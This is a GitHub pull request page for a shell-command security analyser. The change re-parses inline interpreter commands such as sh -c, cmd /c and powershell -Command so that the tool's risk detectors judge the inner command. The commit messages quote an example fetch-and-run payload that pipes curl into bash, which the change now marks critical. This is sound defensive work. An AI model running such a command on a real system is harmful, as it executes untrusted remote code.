Skip to content

Feature/inline subcommand analysis#3

Merged
gmpassos merged 3 commits into
masterfrom
feature/inline-subcommand-analysis
Jun 6, 2026
Merged

Feature/inline subcommand analysis#3
gmpassos merged 3 commits into
masterfrom
feature/inline-subcommand-analysis

Conversation

@gmpassos
Copy link
Copy Markdown
Contributor

@gmpassos gmpassos commented Jun 6, 2026

No description provided.

gmpassos and others added 3 commits June 6, 2026 01:09
…ell -Command)

Command strings passed to an interpreter via an inline flag were treated as
opaque arguments, so a payload like `sh -c "curl https://x/i.sh | bash"` was
only flagged highRisk (REVIEW) for the bare presence of `-c`, hiding the
critical inner command.

Parsers now re-parse the inline script into a nested AST exposed on the new
`CommandInvocation.inlineCommand` field. As a child node it is reached by
`walk()`, so every capability/effect/security detector and policy analyzes the
inner command as if run directly — `sh -c "curl ... | bash"` now matches the
bare `curl ... | bash` verdict (critical -> DENY).

Covers POSIX shells (-c/--command, incl. bundled -ec), cmd /c|/k and
powershell -Command across all three parsers via a shared inline_exec helper.
Nesting is depth-bounded; powershell -EncodedCommand is left un-recursed
(base64) and stays critical.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Add inline sub-command parser coverage for PowerShell (-Command, pwsh -c,
-EncodedCommand/-enc exclusion) and Windows CMD (/c, /k, /C, quoted inner
pipelines, argument rejoin), plus mixed pipe/chain operator and generic-syntax
AST-structure tests. Asserts re-parsed inlineCommand, walk() reach and depth
bounding. 335 -> 351 tests.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@gmpassos gmpassos merged commit d9b1924 into master Jun 6, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant